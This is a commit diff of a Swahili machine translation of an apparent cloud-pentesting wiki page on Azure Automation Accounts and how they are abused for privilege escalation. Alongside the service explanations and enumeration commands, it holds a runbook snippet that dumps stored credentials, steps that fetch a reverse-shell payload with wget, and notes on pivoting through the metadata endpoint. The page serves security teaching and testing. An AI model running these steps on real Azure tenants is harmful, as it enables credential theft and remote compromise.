Translated ['src/pentesting-cloud/azure-security/az-privilege-escalation

This commit is contained in:
Translator
2025-01-10 17:42:13 +00:00
parent f978a0a625
commit 1239c7fe7a
2 changed files with 52 additions and 54 deletions

View File

@@ -10,18 +10,18 @@ Kwa maelezo zaidi angalia:
../az-services/az-automation-accounts.md
{{#endref}}
### Hybrid Workers
### Hybrid Workers Group
Kumbuka kwamba ikiwa kwa namna fulani mshambuliaji anaweza kutekeleza runbook isiyo na mipaka (code isiyo na mipaka) katika mfanyakazi wa hybrid, atakuwa **na uwezo wa kuhamia eneo la VM**. Hii inaweza kuwa mashine ya ndani, VPC ya wingu tofauti au hata VM ya Azure.
Kumbuka kwamba ikiwa kwa namna fulani mshambuliaji anaweza kutekeleza runbook isiyo na mipaka (code isiyo na mipaka) katika mfanyakazi wa hybrid, atafanya **pivot kwa eneo la VM**. Hii inaweza kuwa mashine ya ndani, VPC ya wingu tofauti au hata Azure VM.
Zaidi ya hayo, ikiwa mfanyakazi wa hybrid anafanya kazi katika Azure na Identiti Zenye Usimamizi nyingine zimeunganishwa, runbook itakuwa na uwezo wa kufikia **identiti yenye usimamizi wa runbook na identiti zote zenye usimamizi za VM kutoka kwa huduma ya metadata**.
Zaidi ya hayo, ikiwa mfanyakazi wa hybrid anafanya kazi katika Azure na Utambulisho Msimamizi mwingine umeunganishwa, runbook itakuwa na uwezo wa kufikia **utambulisho wa msimamizi wa runbook na utambulisho wote wa msimamizi wa VM kutoka kwa huduma ya metadata**.
> [!TIP]
> Kumbuka kwamba **huduma ya metadata** ina URL tofauti (**`http://169.254.169.254`**) kuliko huduma ambayo inapata token za identiti zenye usimamizi za akaunti ya automation (**`IDENTITY_ENDPOINT`**).
> Kumbuka kwamba **huduma ya metadata** ina URL tofauti (**`http://169.254.169.254`**) kuliko huduma ambayo inapata token za utambulisho wa akaunti ya automation (**`IDENTITY_ENDPOINT`**).
### `Microsoft.Automation/automationAccounts/jobs/write`, `Microsoft.Automation/automationAccounts/runbooks/draft/write`, `Microsoft.Automation/automationAccounts/jobs/output/read`, `Microsoft.Automation/automationAccounts/runbooks/publish/action` (`Microsoft.Resources/subscriptions/resourcegroups/read`, `Microsoft.Automation/automationAccounts/runbooks/write`)
Kwa muhtasari ruhusa hizi zinaruhusu **kuunda, kubadilisha na kuendesha Runbooks** katika Akaunti ya Automation ambayo unaweza kutumia **kutekeleza code** katika muktadha wa Akaunti ya Automation na kupandisha haki kwa **Identiti Zenye Usimamizi** zilizotolewa na kuvuja **akili** na **mabadiliko ya siri** yaliyohifadhiwa katika Akaunti ya Automation.
Kwa muhtasari ruhusa hizi zinaruhusu **kuunda, kubadilisha na kuendesha Runbooks** katika Akaunti ya Automation ambayo unaweza kutumia **kutekeleza code** katika muktadha wa Akaunti ya Automation na kupandisha haki kwa **Utambulisho Msimamizi** uliotolewa na kuvuja **akili** na **mabadiliko ya siri** yaliyohifadhiwa katika Akaunti ya Automation.
Ruhusa **`Microsoft.Automation/automationAccounts/runbooks/draft/write`** inaruhusu kubadilisha code ya Runbook katika Akaunti ya Automation kwa kutumia:
```bash
@@ -36,9 +36,9 @@ $runbook_variable
$creds.GetNetworkCredential().username
$creds.GetNetworkCredential().password'
```
Kumbuka jinsi skripti ya awali inaweza kutumika ku **vuja jina la mtumiaji na nenosiri** la akidi na thamani ya **kigeuzi kilichosimbwa** kilichohifadhiwa katika Akaunti ya Automation.
Kumbuka jinsi skripti ya awali inaweza kutumika **kufichua jina la mtumiaji na nenosiri** la akidi na thamani ya **kigeuzi kilichosimbwa** kilichohifadhiwa katika Akaunti ya Automation.
Ruhusa **`Microsoft.Automation/automationAccounts/runbooks/publish/action`** inaruhusu mtumiaji kuchapisha Runbook katika Akaunti ya Automation ili mabadiliko yafanywe:
Ruhusa **`Microsoft.Automation/automationAccounts/runbooks/publish/action`** inaruhusu mtumiaji kuchapisha Runbook katika Akaunti ya Automation ili mabadiliko yafanyike:
```bash
az automation runbook publish \
--resource-group <res-group> \
@@ -231,7 +231,7 @@ Ikiwa akaunti ya automatisering inatumia mazingira ya runtime ya kawaida, inawez
1. `reverse_shell_config.ps1`: Faili ya Desired State Configuration (DSC) inayopata na kutekeleza payload. Inapatikana kutoka [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/reverse_shell_config.ps1).
2. `push_reverse_shell_config.ps1`: Skripti ya kuchapisha usanidi kwenye VM, inapatikana katika [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/push_reverse_shell_config.ps1).
**Customization:** Vigezo na parameta katika faili hizi lazima zibadilishwe ili kufaa mazingira maalum ya mtumiaji, ikiwa ni pamoja na majina ya rasilimali, njia za faili, na vitambulisho vya seva/payload.
**Customization:** Vigezo na parameta katika faili hizi lazima viandaliwe kwa mazingira maalum ya mtumiaji, ikiwa ni pamoja na majina ya rasilimali, njia za faili, na vitambulisho vya seva/payload.
- Step 2 — Zip Configuration File
@@ -247,7 +247,7 @@ Set-AzStorageBlobContent -File "reverse_shell_config.ps1.zip" -Container "azure-
```
- Step 4 — Prep Kali Box
Seva ya Kali inapakua mzigo wa RevPS.ps1 kutoka kwenye hifadhi ya GitHub.
Seva ya Kali inashusha mzigo wa RevPS.ps1 kutoka kwenye hifadhi ya GitHub.
```bash
wget https://raw.githubusercontent.com/nickpupp0/AzureDSCAbuse/master/RevPS.ps1
```

View File

@@ -1,56 +1,54 @@
# Az - Automation Accounts
# Az - Akaunti za Uendeshaji
{{#include ../../../../banners/hacktricks-training.md}}
## Basic Information
## Taarifa za Msingi
Azure Automation Accounts ni huduma za msingi wa wingu katika Microsoft Azure ambazo husaidia **kujiendesha** kazi kama usimamizi wa rasilimali, usanidi, na masasisho katika Azure na mazingira ya ndani. Zinatoa **Runbooks** (script za kujiendesha ambazo zinafanywa), **ratiba**, na **vikundi vya wafanyakazi wa mseto** ili kuendesha kazi za kujiendesha, kuwezesha miundombinu kama msimbo (IaC) na kujiendesha kwa mchakato kwa ufanisi na uthabiti katika usimamizi wa rasilimali za wingu.
Akaunti za Uendeshaji za Azure ni huduma za msingi wa wingu katika Microsoft Azure ambazo husaidia **kujiendesha** kazi kama usimamizi wa rasilimali, usanidi, na masasisho katika Azure na mazingira ya ndani. Zinatoa **Runbooks** (mifumo ya uendeshaji ambayo inatekelezwa), **ratiba**, na **vikundi vya wafanyakazi wa mseto** ili kuendesha kazi za uendeshaji, kuwezesha miundombinu kama msimbo (IaC) na uendeshaji wa mchakato kwa ufanisi na uthabiti katika usimamizi wa rasilimali za wingu.
### Settings
### Mipangilio
- **Credentials**: Nenosiri linaweza kupatikana tu ndani ya runbook ndani ya akaunti ya kujiendesha, zinatumika **kuhifadhi majina ya watumiaji na nenosiri kwa usalama**.
- **Variables**: Zinatumika kuhifadhi **data za usanidi** ambazo zinaweza kutumika katika runbooks. Hii inaweza pia kuwa habari nyeti kama funguo za API. Ikiwa variable ime **hifadhiwa kwa usimbuaji**, inapatikana tu ndani ya runbook ndani ya akaunti ya kujiendesha.
- **Certificates**: Zinatumika kuhifadhi **vyeti** ambavyo vinaweza kutumika katika runbooks.
- **Connections**: Zinatumika kuhifadhi **habari za muunganisho** na huduma za nje. Hii inaweza kuwa na **habari nyeti**.
- **Network Access**: Inaweza kuwekwa kuwa **ya umma** au **ya kibinafsi**.
- **Taarifa za Kuingia**: Nenosiri linaweza kupatikana tu ndani ya runbook ndani ya akaunti ya uendeshaji, zinatumika **kuhifadhi majina ya watumiaji na nenosiri kwa usalama**.
- **Mabadiliko**: Yanatumika kuhifadhi **data za usanidi** ambazo zinaweza kutumika katika runbooks. Hii inaweza pia kuwa taarifa nyeti kama funguo za API. Ikiwa mabadiliko yame **hifadhiwa kwa usimbuaji**, yanapatikana tu ndani ya runbook ndani ya akaunti ya uendeshaji.
- **Vyeti**: Vinatumika kuhifadhi **vyeti** ambavyo vinaweza kutumika katika runbooks.
- **Mawasiliano**: Yanatumika kuhifadhi **taarifa za mawasiliano** na huduma za nje. Hii inaweza kuwa na **taarifa nyeti**.
- **Upatikanaji wa Mtandao**: Inaweza kuwekwa kuwa **ya umma** au **ya kibinafsi**.
## Runbooks & Jobs
### Runbooks & Kazi
Runbook katika Azure Automation ni **script inayofanya kazi kiotomatiki** ndani ya mazingira yako ya wingu. Runbooks zinaweza kuandikwa kwa PowerShell, Python, au wahariri wa picha. Zinasaidia kujiendesha kazi za kiutawala kama usimamizi wa VM, urekebishaji, au ukaguzi wa kufuata.
Katika **msimbo** ulio ndani ya **Runbooks** unaweza kuwa na **habari nyeti** (kama vile creds).
Katika **msimbo** ulio ndani ya **Runbooks** unaweza kuwa na **taarifa nyeti** (kama vile taarifa za kuingia).
Nenda kwa `Automation Accounts` --> `<Select Automation Account>` --> `Runbooks/Jobs/Hybrid worker groups/Watcher tasks/credentials/variables/certificates/connections`
**Kazi ni mfano wa utekelezaji wa Runbook**. Unapokimbia Runbook, kazi inaundwa kufuatilia utekelezaji huo. Kila kazi inajumuisha:
**Job ni mfano wa utekelezaji wa Runbook**. Unapokimbia Runbook, Job inaundwa kufuatilia utekelezaji huo. Kila kazi inajumuisha:
- **Hali**: Imeorodheshwa, Inaendelea, Imekamilika, Imeanguka, Imefungwa.
- **Matokeo**: Matokeo ya utekelezaji wa Runbook.
- **Wakati wa Kuanza na Kumaliza**: Wakati kazi ilianza na kukamilika.
- **Status**: Imeorodheshwa, Inaendesha, Imekamilika, Imefail, Imefungwa.
- **Output**: Matokeo ya utekelezaji wa Runbook.
- **Start and End Time**: Wakati kazi ilianza na kukamilika.
Kazi ina **matokeo** ya utekelezaji wa **Runbook**. Ikiwa unaweza **kusoma** **kazi**, fanya hivyo kwani **zina** **matokeo** ya run (inaweza kuwa **taarifa nyeti**).
Kazi ina **matokeo** ya utekelezaji wa **Runbook**. Ikiwa unaweza **kusoma** **kazi**, fanya hivyo kwani **zina** **matokeo** ya kukimbia (potenshiali **habari nyeti**).
### Schedules & Webhooks
### Ratiba & Webhooks
Kuna njia 3 kuu za kutekeleza Runbook:
- **Schedules**: Hizi zinatumika **kuanzisha** Runbooks kwa **wakati maalum** au **kipindi**.
- **Webhooks**: Hizi ni **nukta za HTTP** ambazo zinaweza kutumika **kuanzisha** Runbooks kutoka **huduma za nje**. Kumbuka kwamba URL ya webhook **haiwezi kuonekana** baada ya kuundwa.
- **Manual Trigger**: Unaweza **kuanzisha kwa mikono** Runbook kutoka kwenye Azure Portal na kutoka kwa cli.
- **Ratiba**: Hizi zinatumika **kuanzisha** Runbooks kwa **wakati maalum** au **kipindi**.
- **Webhooks**: Hizi ni **nukta za HTTP** ambazo zinaweza kutumika ku **anzisha** Runbooks kutoka kwa **huduma za nje**. Kumbuka kwamba URL ya webhook **haiwezi kuonekana** baada ya kuundwa.
- **Kuanza kwa Mikono**: Unaweza **kuanzisha kwa mikono** Runbook kutoka kwenye Azure Portal na kutoka kwa cli.
### Source Control
### Udhibiti wa Chanzo
Inaruhusu kuagiza Runbooks kutoka **Github, Azure Devops (Git) na Azure Devops (TFVC)**. Inawezekana kuashiria kuchapisha Runbooks za repo kwenye akaunti ya Azure Automation na pia inawezekana kuashiria **kuunganisha mabadiliko kutoka repo** hadi akaunti ya Azure Automation.
Inaruhusu kuagiza Runbooks kutoka **Github, Azure Devops (Git) na Azure Devops (TFVC)**. Inawezekana kuashiria kuchapisha Runbooks za repo kwenye akaunti ya uendeshaji ya Azure na pia inawezekana kuashiria **kuunganisha mabadiliko kutoka kwa repo** hadi akaunti ya uendeshaji ya Azure.
Wakati kuunganisha kunapoanzishwa, katika **github repository webhook inaundwa** ili kuanzisha kuunganisha kila wakati tukio la push linapotokea. Mfano wa URL ya webhook: `https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=DRjQyFiOrUtz%2fw7o23XbDpOlTe1%2bUqPQm4pQH2WBfJg%3d`
Wakati kuunganisha kunapoanzishwa, katika **hifadhi ya Github webhook inaundwa** ili kuanzisha kuunganisha kila wakati tukio la kusukuma linapotokea. Mfano wa URL ya webhook: `https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=DRjQyFiOrUtz%2fw7o23XbDpOlTe1%2bUqPQm4pQH2WBfJg%3d`
Kumbuka kwamba hizi webhooks **hazitaonekana** unapoorodhesha webhooks katika runbooks zinazohusiana na repo ya Github. Pia kumbuka kwamba **siwezi kubadilisha URL ya repo** ya udhibiti wa chanzo mara tu inapoandikwa.
Kumbuka kwamba hizi webhooks **hazitaonekana** unapoorodhesha webhooks katika runbooks zinazohusiana na repo ya Github. Pia kumbuka kwamba **siwezi kubadilisha URL ya repo** ya udhibiti wa chanzo mara tu inapoanzishwa.
Ili udhibiti wa chanzo uliowekwa ufanye kazi, **Akaunti ya Azure Automation** inahitaji kuwa na kitambulisho kinachosimamiwa (sistimu au mtumiaji) chenye jukumu la **`Contributor`**. Zaidi ya hayo, ili kupeana kitambulisho kinachosimamiwa kwa Akaunti ya Automation, inahitajika kuashiria kitambulisho cha mteja wa MI ya mtumiaji katika variable **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`**.
Ili udhibiti wa chanzo uliowekwa ufanye kazi, **Akaunti ya Uendeshaji ya Azure** inahitaji kuwa na kitambulisho kinachosimamiwa (sistimu au mtumiaji) chenye jukumu la **`Mchango`**. Zaidi ya hayo, ili kupeana kitambulisho kinachosimamiwa kwa Akaunti ya Uendeshaji, inahitajika kuashiria kitambulisho cha mteja wa MI ya mtumiaji katika mabadiliko **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`**.
### Runtime Environments
### Mazingira ya Uendeshaji
Unapounda Runbook inawezekana kuchagua mazingira ya utekelezaji. Kwa kawaida, mazingira yafuatayo yanapatikana:
Unapounda Runbook inawezekana kuchagua mazingira ya uendeshaji. Kwa kawaida, mazingira yafuatayo ya uendeshaji yanapatikana:
- **Powershell 5.1**
- **Powershell 7.1**
@@ -59,34 +57,34 @@ Unapounda Runbook inawezekana kuchagua mazingira ya utekelezaji. Kwa kawaida, ma
- **Python 3.8**
- **Python 2.7**
Hata hivyo, pia inawezekana **kuunda mazingira yako mwenyewe**, ukitumia moja ya hizi kama msingi. Katika kesi ya python, inawezekana kupakia pakiti za `.whl` kwenye mazingira ambayo yatatumika. Katika kesi ya PowerShell, inawezekana kupakia pakiti za `.zip` zenye moduli za kuwa nazo katika utekelezaji.
Hata hivyo, pia inawezekana **kuunda mazingira yako mwenyewe**, ukitumia moja ya hizi kama msingi. Katika kesi ya python, inawezekana kupakia pakiti za `.whl` kwenye mazingira ambayo yatatumika. Katika kesi ya PowerShell, inawezekana kupakia pakiti za `.zip` zenye moduli za kuwa nazo katika uendeshaji.
### Hybrid Worker Groups
### Vikundi vya Wafanyakazi wa Mseto
Katika Azure Automation, mazingira ya utekelezaji ya kawaida kwa runbooks ni **Azure Sandbox**, jukwaa la msingi wa wingu linalosimamiwa na Azure, linalofaa kwa kazi zinazohusisha rasilimali za Azure. Hata hivyo, sandbox hii ina mipaka, kama vile upatikanaji wa rasilimali za ndani na vizuizi juu ya muda wa utekelezaji na matumizi ya rasilimali. Ili kushinda mipaka hii, Vikundi vya Wafanyakazi wa Mseto vinatumika. Kikundi cha Wafanyakazi wa Mseto kinajumuisha **mfanyakazi mmoja au zaidi wa Runbook wa Mseto waliowekwa kwenye mashine zako**, iwe ndani, katika mazingira mengine ya wingu au Azure VMs. Mpangilio huu unaruhusu runbooks kutekelezwa moja kwa moja kwenye mashine hizi, ukitoa upatikanaji wa moja kwa moja kwa rasilimali za ndani, uwezo wa kuendesha kazi ndefu na zenye matumizi makubwa ya rasilimali, na kubadilika kuingiliana na mazingira zaidi ya ufikiaji wa moja kwa moja wa Azure.
Katika Azure Automation, mazingira ya utekelezaji ya kawaida kwa runbooks ni **Azure Sandbox**, jukwaa la msingi wa wingu linalosimamiwa na Azure, linalofaa kwa kazi zinazohusisha rasilimali za Azure. Hata hivyo, sandbox hii ina mipaka, kama vile upatikanaji wa rasilimali za ndani na vizuizi juu ya muda wa utekelezaji na matumizi ya rasilimali. Ili kushinda mipaka hii, Vikundi vya Wafanyakazi wa Mseto vinatumika. Kikundi cha Wafanyakazi wa Mseto kinajumuisha **mfanyakazi mmoja au zaidi wa Runbook wa Mseto waliowekwa kwenye mashine zako**, iwe ndani, katika mazingira mengine ya wingu au VM za Azure. Mpangilio huu unaruhusu runbooks kutekelezwa moja kwa moja kwenye mashine hizi, ukitoa upatikanaji wa moja kwa moja kwa rasilimali za ndani, uwezo wa kuendesha kazi ndefu na zenye matumizi makubwa ya rasilimali, na kubadilika kuingiliana na mazingira zaidi ya ufikiaji wa moja kwa moja wa Azure.
Wakati kikundi cha mfanyakazi wa mseto kinaundwa inahitajika kuashiria **credentials** za kutumia. Kuna chaguzi 2:
Wakati kikundi cha mfanyakazi wa mseto kinaundwa inahitajika kuashiria **taarifa za kuingia** za kutumia. Kuna chaguzi 2:
- **Default credentials**: Huhitaji kutoa credentials na runbooks zitatekelezwa ndani ya VMs kama **System**.
- **Specific credentials**: Unahitaji kutoa jina la kitu cha credentials ndani ya akaunti ya kujiendesha, ambacho kitatumika kutekeleza **runbooks ndani ya VMs**. Kwa hivyo, katika kesi hii, inaweza kuwa na uwezekano wa **kuiba credentials halali** za VMs.
- **Taarifa za kuingia za Kawaida**: Huhitaji kutoa taarifa za kuingia na runbooks zitatekelezwa ndani ya VMs kama **Mfumo**.
- **Taarifa za kuingia Maalum**: Unahitaji kutoa jina la kitu cha taarifa za kuingia ndani ya akaunti ya uendeshaji, ambacho kitatumika kutekeleza **runbooks ndani ya VMs**. Kwa hivyo, katika kesi hii, inaweza kuwa na uwezekano wa **kuiba taarifa halali za kuingia** kwa VMs.
Kwa hivyo, ikiwa unaweza kuchagua kuendesha **Runbook** katika **Windows Hybrid Worker**, utaendesha **amri zisizo na mipaka** ndani ya mashine ya nje kama **System** (mbinu nzuri ya pivot).
Kwa hivyo, ikiwa unaweza kuchagua kuendesha **Runbook** katika **Mfanyakazi wa Mseto**, utaendesha **amri zisizo na mipaka** ndani ya mashine ya nje kama **Mfumo** (mbinu nzuri ya kuhamasisha).
Zaidi ya hayo, ikiwa mfanyakazi wa mseto anafanya kazi katika Azure na kitambulisho kingine kinachosimamiwa kimeunganishwa, runbook itakuwa na uwezo wa kufikia **kitambulisho kinachosimamiwa cha runbook na vitambulisho vyote vilivyosimamiwa vya VM kutoka kwa huduma ya metadata**.
Zaidi ya hayo, ikiwa mfanyakazi wa mseto anafanya kazi katika Azure na kitambulisho kingine kinachosimamiwa kimeunganishwa, runbook itakuwa na uwezo wa kufikia **kitambulisho kinachosimamiwa cha runbook na vitambulisho vyote vinavyosimamiwa vya VM kutoka kwa huduma ya metadata**.
> [!TIP]
> Kumbuka kwamba **huduma ya metadata** ina URL tofauti (**`http://169.254.169.254`**) kuliko huduma ambayo inapata token ya vitambulisho vilivyosimamiwa vya akaunti ya kujiendesha (**`IDENTITY_ENDPOINT`**).
> Kumbuka kwamba **huduma ya metadata** ina URL tofauti (**`http://169.254.169.254`**) kuliko huduma ambayo inapata token ya vitambulisho vinavyosimamiwa vya akaunti ya uendeshaji (**`IDENTITY_ENDPOINT`**).
### State Configuration (SC)
### Usanidi wa Hali (SC)
>[!WARNING]
> Kama ilivyoonyeshwa katika [the docs](https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview), Azure Automation State Configuration itastaafu tarehe 30 Septemba 2027 na kubadilishwa na [Azure Machine Configuration](https://learn.microsoft.com/en-us/azure/governance/machine-configuration/overview).
> Kama ilivyoonyeshwa katika [nyaraka](https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview), Usanidi wa Hali wa Azure Automation utaondolewa tarehe 30 Septemba 2027 na kubadilishwa na [Usanidi wa Mashine wa Azure](https://learn.microsoft.com/en-us/azure/governance/machine-configuration/overview).
Akaunti za Kujiendesha pia zinasaidia **State Configuration (SC)**, ambayo ni kipengele kinachosaidia **kuunda** na **kuhifadhi** **hali** ya VMs zako. Inawezekana **kuunda** na **kutumia** usanidi wa DSC kwa **Windows** na **Linux** mashine.
Akaunti za Uendeshaji pia zinasaidia **Usanidi wa Hali (SC)**, ambayo ni kipengele kinachosaidia **kuweka** na **kuhifadhi** **hali** ya VMs zako. Inawezekana **kuunda** na **kutumia** usanidi wa DSC kwa **Windows** na **Linux** mashine.
Kutoka kwa mtazamo wa washambuliaji hii ilikuwa ya kuvutia kwa sababu iliruhusu **kutekeleza msimbo wa PS bila mipaka katika VMs zote zilizowekwa** ikiruhusu kupandisha mamlaka kwa vitambulisho vilivyosimamiwa vya VMs hizi, kwa uwezekano wa kuhamia mitandao mipya... Pia, usanidi unaweza kuwa na **habari nyeti**.
Kutoka kwa mtazamo wa washambuliaji hii ilikuwa ya kuvutia kwa sababu iliruhusu **kutekeleza msimbo wa PS usio na mipaka katika VMs zote zilizowekwa** ikiruhusu kupandisha mamlaka kwa vitambulisho vinavyosimamiwa vya VMs hizi, kwa uwezekano wa kuhamasisha kwenye mitandao mipya... Pia, usanidi unaweza kuwa na **taarifa nyeti**.
## Enumeration
## Uhesabu
```bash
# List Automation Accounts
az automation account list --output table
@@ -170,7 +168,7 @@ az rest --method GET \
# Get the source control setting of an automation account (if any)
## inside the output it's possible to see if the autoSync is enabled, if the publishRunbook is enabled and the repo URL
aaz automation source-control list --automation-account-name <AUTOMATION-ACCOUNT> --resource-group <RG-NAME>
az automation source-control list --automation-account-name <AUTOMATION-ACCOUNT> --resource-group <RG-NAME>
# Get custom runtime environments
## Check in defaultPackages for custom ones, by default Python envs won't have anything here and PS1 envs will have "az" and "azure cli"
@@ -234,7 +232,7 @@ Get-AzAutomationHybridWorkerGroup -AutomationAccountName <AUTOMATION-ACCOUNT> -R
../az-privilege-escalation/az-automation-accounts-privesc.md
{{#endref}}
## Marejeleo
## Marejeo
- [https://learn.microsoft.com/en-us/azure/automation/overview](https://learn.microsoft.com/en-us/azure/automation/overview)
- [https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview](https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview)